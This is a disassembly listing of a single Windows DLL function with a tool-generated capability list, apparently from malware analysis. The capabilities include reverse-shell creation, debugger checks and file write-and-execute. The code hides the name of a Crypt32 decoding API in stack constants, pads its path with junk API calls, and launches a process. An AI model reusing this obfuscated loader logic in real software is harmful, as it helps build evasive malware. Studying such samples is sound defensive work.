Function at 0x180002fa0
Capabilities:
Check for debugger via api
Connect pipe
Copy file
Create directory
Create pipe
Create process on windows
Create reverse shell
Delete directory
Delete file
Enumerate gui resources
Get common file path
Get geographical location
Get memory capacity
Identify system language via api
Manipulate console buffer
Query environment variable
Read .ini file
Read pipe
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x138
mov rcx, qword [rsp + 0x150]
call fcn.1800098d0
mov rax, qword [rax]
mov qword [rsp + 0xf8], rax
cmp dword [0x18007ada4], 0x1e43b822
jne 0x1800031a8
xor edx, edx
lea rcx, str.fEAwkYxXTASUWqtBBsaFKx
call qword [sym.imp.KERNEL32.dll_LocaleNameToLCID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryDepthSList]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, str.knyjrkLRKRwPMzJDILDZE
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLocalTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitCommEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
xor edx, edx
lea rcx, str.pOMHdyMwxUogHUmxagMmCQAyGDur
call qword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, str.XjpCLTUZLcOlYUmXhjFewF
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDurationFormat]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetupComm]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalExit]
mov rax, qword [0x18007adb8]
mov qword [rsp + 0x88], rax
mov eax, 4
imul rax, rax, 0
mov dword [rsp + rax + 0x80], 0x70797243
cmp dword [0x18007ada4], 0x206d73b
jne 0x1800032a0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.IddqXypVRbllyrVLXBoHd
xor edx, edx
lea rcx, str.IEQmByOoazeuYNfmuNZNmySAo
call qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
call qword [sym.imp.USER32.dll_WaitMessage]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawEdge]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
xor r8d, r8d
xor edx, edx
lea rcx, str.VysUOrfJTJlPYTVK
call qword [sym.imp.KERNEL32.dll_OpenFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
call fcn.180004680
mov eax, 4
imul rax, rax, 1
mov dword [rsp + rax + 0x80], 0x2e323374
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x80]
mov qword [rsp + rax + 0x90], rcx
cmp dword [0x18007ada4], 0x1140017a
jne 0x18000350e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockFileEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMouseMovePointsEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeQueryNextServer]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenu]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBeep]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LogicalToPhysicalPoint]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCompact]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClipCursor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetScrollBarInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeAbandonTransaction]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnableScrollBar]
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x54]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetUpdateRect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharLowerW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCaret]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowContextHelpId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor r8d, r8d
lea rdx, str.xDbOZGMubVWDCOWdtkmFL
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersionEx]
mov word [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawTextW]
mov qword [rsp + 0xc8], 0x6c6c64
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + rax + 0x90], rcx
mov eax, dword [0x18007ada4]
mov ecx, 0xdf81e662
cmp rax, rcx
jne 0x1800036f1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetWaitableTimerEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xd0], rax
jmp 0x18000386a
mov eax, 8
imul rax, rax, 0
movabs rcx, 0x7274537470797243
mov qword [rsp + rax + 0x90], rcx
mov eax, dword [0x18007ada4]
mov ecx, 0xeb03d306
cmp rax, rcx
jne 0x180003abf
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransactNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
lea rcx, str.zFqOrwHjwMyeIXIQrchjGRAQUxm
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileCompletionNotificationModes]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.OOZzKqhPZaeoRIEA
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.QRckQTniZbPAcfi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNLSString]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.MvICCKLFwZUAvgSOqTN
xor edx, edx
lea rcx, str.utJqRUBIlvpIobBFDyDmQv
call qword [sym.imp.KERNEL32.dll_GetCurrencyFormatEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov word [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferInfoEx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.YPOogUMOHJyAgXTjC
xor edx, edx
lea rcx, str.QOpbYaYYzkTesKzGohoRrXF
call qword [sym.imp.KERNEL32.dll_LCMapStringEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
mov eax, 8
imul rax, rax, 1
movabs rcx, 0x6e69426f54676e69
mov qword [rsp + rax + 0x90], rcx
mov eax, dword [0x18007ada4]
mov ecx, 0xec9d6ff6
cmp rax, rcx
jne 0x180003c52
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUILanguageInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r8d, r8d
lea rdx, str.QMKMrDMvLuTJsJuxMnGLkvUlxKUI
lea rcx, str.ElludvcqwzEHcbvti
call qword [sym.imp.KERNEL32.dll_CopyFile2]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapViewOfFileExNuma]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesTransactedW]
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemFileCacheSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
mov eax, 8
imul rax, rax, 2
mov qword [rsp + rax + 0x90], 0x41797261
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18007adc8], rax
cmp dword [0x18007ada4], 0x715bc0
jne 0x180003dee
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.DqjjQNpHXVsZoHiE
xor edx, edx
lea rcx, str.HeIdHyhgZQmhzZRAIG
call qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.OHMQCUboywAymLDt
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.dqGezXouoZalOAbfZUkKns
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPreferredUILanguages]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemFileCacheSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [0x18007ada0]
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x6c]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x74], 0x30de1
mov r8d, 0x23f
mov rdx, qword [0x18007adc8]
lea rcx, [rsp + 0x120]
call fcn.18000a9a0
lea rcx, [rsp + 0x110]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x74]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x110]
call fcn.18000a9e0
mov dword [rsp + 0xc0], eax
cmp dword [0x18007ada4], 0x55a13250
jne 0x18000409e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerCreateRequest]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientSessionId]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FoldStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180004100
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x150]
call fcn.1800040e0
mov rax, qword [rsp + 0x100]
add rsp, 0x138
pop rdi
pop rsi
ret